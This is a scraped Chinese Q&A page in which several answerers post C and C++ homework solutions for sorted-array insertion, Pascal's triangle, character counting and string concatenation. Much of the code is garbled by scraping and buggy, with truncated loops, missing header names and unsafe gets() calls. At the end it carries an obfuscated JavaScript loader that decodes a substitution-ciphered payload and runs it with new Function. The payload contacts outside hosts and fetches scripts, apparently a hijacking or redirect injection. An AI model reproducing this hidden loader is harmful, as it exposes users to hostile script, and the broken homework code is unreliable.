已有一个已排序好的数组,今输入一个数,要求按原来排序的规律将它插入数组中
推荐回答(5个)
你们上那来了,我们上到第九章<<对象生灭>>是钱能的红皮书.这一看就是C++问题.你不能一抄了得,要好好想想别人是怎么作的.你COPY是别人的,看懂了就是自己的了.已经有人作出了我就不做了.我在楼上的基础上修改了一下.全部编译成功.
/***********************
第一个问题(插入排序):
***********************/
#include
using namespace std;
void insert(int val,int* array,int* len)
//val为要插入的数,array为已排序的数组(假设为升序),len为数组元素个数。
{
int count,i;
i=*len;
for(count=0;count{
if(val<=array[count]) break;
}
do
{
array[i+1]=array[i];
i--;
}while(i>=count);
array[count]=val;
//插入后将数组长度增加一
}
void main()
{
int b;
int array[10]={1,2,3,4,5,6,8,9};
b=sizeof(array);
insert(7,array,&b); //随便填
for(int i=0;i<10;i++)
cout<}
/***********************
第二个问题(杨辉三角):
***********************/
#include
int main()
{
int arr[2][11], n, i, j;
n=10;
for (i=0; i<=10; i++)
arr[0][i] = arr[1][i] = 0;
arr[0][1] = 1;
for (i=1; i<=n; i++)
{
for (j=1; j<=i; j++)
arr[i%2][j] = arr[(i-1)%2][j-1]+arr[(i-1)%2][j];
for (j=1; j<=i; j++)
printf("%-4d", arr[i%2][j]);
printf("\n");
}
printf("\n");
return 0;
}
/***********************
第3个问题(计算字符):
***********************/
#include
#include
#include
void main()
{
int i,j,c,upper,lower,digit,space,punch;
char str[3][80];
upper=lower=digit=space=punch=0;
for(i=0;i<3;i++)
{
gets(str[i]);
for(j=0;j<10;j++)
{
c=str[i][j];
if(isupper(c)!=0)
{
upper++;
}
if(islower(c)!=0)
{
lower++;
}
if(isdigit(c)!=0)
{
digit++;
}
if(isspace(c)!=0)
{
space++;
}
if(ispunct(c)!=0)
{
punch++;
}
}
}
printf(" upper%d\n lower%d\n digit%d\n space%d\n punch%d\n",upper,lower,digit,space,punch);
}
第四个问题
#include
#include
using namespace std;
void main()
{
string s1="adssadf",s2="12312";
cout<
}
连用什么语言都没有说怎么帮啊,我就一下思路。
1.如果是升序排列,那么就从第一个开始找,找到比输入的数字大的以后,就把输入的数字放到它前面,降序类似。
2.用归纳法归纳出数学公式,书本上就有,然后打印吧
3.不用想麻烦了,字符也是一种整型数,你分别找到他们代表的数字统计一下就可以了,c的树上多得是
4.如果是c,先把指针指到第一个字符串的最后,然后一个一个字符的去读第二个字符串的字符放到后面,指针加一
/***********************
第一个问题(插入排序):
***********************/
insert(int val,int* array,int* len)
//val为要插入的数,array为已排序的数组(假设为升序),len为数组元素个数。
{
int count,i;
i=*len;
for(count=0;count{
if(val}
do
{
array[i+1]=array[i];
i--;
}while(i>=count);
array[count]=val;
(*len)++; //插入后将数组长度增加一
}
/***********************
第二个问题(杨辉三角):
***********************/
#include
int main()
{
int arr[2][11], n, i, j;
n=10;
for (i=0; i<=10; i++)
arr[0][i] = arr[1][i] = 0;
arr[0][1] = 1;
for (i=1; i<=n; i++)
{
for (j=1; j<=i; j++)
arr[i%2][j] = arr[(i-1)%2][j-1]+arr[(i-1)%2][j];
for (j=1; j<=i; j++)
printf("%-4d", arr[i%2][j]);
printf("\n");
}
printf("\n");
return 0;
}
/***********************
第3个问题(计算字符):
***********************/
#include
#include
#include
void main()
{
int i,j,c,upper,lower,digit,space,punch;
char str[3][80];
upper=lower=digit=space=punch=0;
for(i=0;i<3;i++)
{
gets(str[i]);
for(j=0;j<10;j++)
{
c=str[i][j];
if(isupper(c)!=0)
{
upper++;
}
if(islower(c)!=0)
{
lower++;
}
if(isdigit(c)!=0)
{
digit++;
}
if(isspace(c)!=0)
{
space++;
}
if(ispunct(c)!=0)
{
punch++;
}
}
}
printf(" upper%d\n lower%d\n digit%d\n space%d\n punch%d\n",upper,lower,digit,space,punch);
}
/***********************
第4个问题(连接字符串):
***********************/
char *connect(char *dst,const char *src){
char * cp = dst;
while( *cp != '\0' )
{
*cp++;
}
while(*src !='\0')
{
*cp = *src++;
*cp++;
}
return( dst );
}
我来帮你应付哈,不过你老是这样可不行啊,以后万一到了要用真本事的时候你杂个整,你还可以来这里求人么?本事还是学在自己身上好,呵呵!!
/* ★★★★★★★★★一★★★★★★★★★ */
#include
int main()
{
int a[10] = {0,1,2,3,4,6,7,8,9};
int insert;
int i, j, size = sizeof a/sizeof a[0];
printf("Please input the number to be inserted: ");
scanf("%d", &insert);
i = 0;
while(a[i] < insert)++i;
j = size - 1;
while(j != i)
a[j] = a[j-- -1];
a[i] = insert;
for(i = 0; i < size; ++i)
{
printf("%d ", a[i]);
}
}
/* ★★★★★★★★★二★★★★★★★★★ */
#include
#define N 10
int main()
{
int yhTrag[N][N] = {0};
int i, j;
for(i = 0; i < N; ++i)
{
yhTrag[i][0] = 1;
printf("%d ", yhTrag[i][0]);
for(j = 1; j <= i; ++j)
{
yhTrag[i][j] = yhTrag[i-1][j-1] + yhTrag[i-1][j];
printf("%d ", yhTrag[i][j]);
}
printf("\n");
}
}
/* ★★★★★★★★★三★★★★★★★★★ */
#include
#include
int main()
{
int uppers = 0;
int digits = 0;
int spaces = 0;
int others = 0;
char c;
FILE *fp;
fp = fopen("text.txt", "r"); /* 自己改 */
while(!feof(fp))
{
c = fgetc(fp);
putchar(c);
if(isupper(c))
++uppers;
else if(isdigit(c))
++digits;
else if(isspace(c))
++spaces;
else
++others;
}
fclose(fp);
printf("\n%5cStatistic%5c\n", ' ', ' ');
printf("uppers: %d\n", uppers);
printf("digits: %d\n", digits);
printf("spaces: %d\n", spaces);
printf("others: %d\n", others);
}
/* ★★★★★★★★★四★★★★★★★★★ */
#include
char* strcat(char* dest, int size, char* souc)
{
char* p = dest;
while(*p != '\0')++p;
while((p != dest + size - 1) && *souc != '\0')
{
*p++ = *souc++;
}
return dest;
}
int main()
{
char a[13] = {"Hello, "};
strcat(a, 13, "world!");
printf("%s", a);
}
我的回答是用java语言
public class work
{
public static void main(String[] args)
{
String text ="I";
System.out.println(text + "Love you");
}
}
这也是一个程序啊!
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();